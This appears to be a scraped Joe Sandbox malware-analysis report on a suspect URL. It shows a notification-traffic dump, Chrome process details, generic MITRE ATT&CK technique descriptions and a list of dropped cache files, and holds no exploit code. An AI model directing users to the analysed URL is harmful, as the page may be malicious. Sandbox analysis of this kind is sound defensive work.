2025-01-13 00:38:02 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 41 76 6b 51 51 50 53 62 62 45 6d 4f 36 57 45 47 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 36 63 39 38 62 34 34 30 31 38 31 61 63 61 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: AvkQQPSbbEmO6WEG.3Context: 46c98b440181aca3<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-13 00:38:02 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-13 00:38:02 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 47 2f 77 41 44 79 6b 4c 74 45 4f 6e 74 49 49 74 78 50 65 4d 6c 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: G/wADykLtEOntIItxPeMlA.0Payload parsing failed.

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 5336, Parent PID: 6964

General

Target ID:	2
Start time:	19:36:48
Start date:	12/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6416, Parent PID: 5336

General

Target ID:	4
Start time:	19:36:53
Start date:	12/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2360 --field-trial-handle=2044,i,4366390378438091231,10632384262023697078,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 1616, Parent PID: 6964

General

Target ID:	5
Start time:	19:37:00
Start date:	12/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.location.as-nt.com/aU3V88/c1.php"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://www.location.as-nt.com/aU3V88/c1.php

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\LICENSE

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\sets.json

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

Windows Analysis Report
https://www.location.as-nt.com/aU3V88/c1.php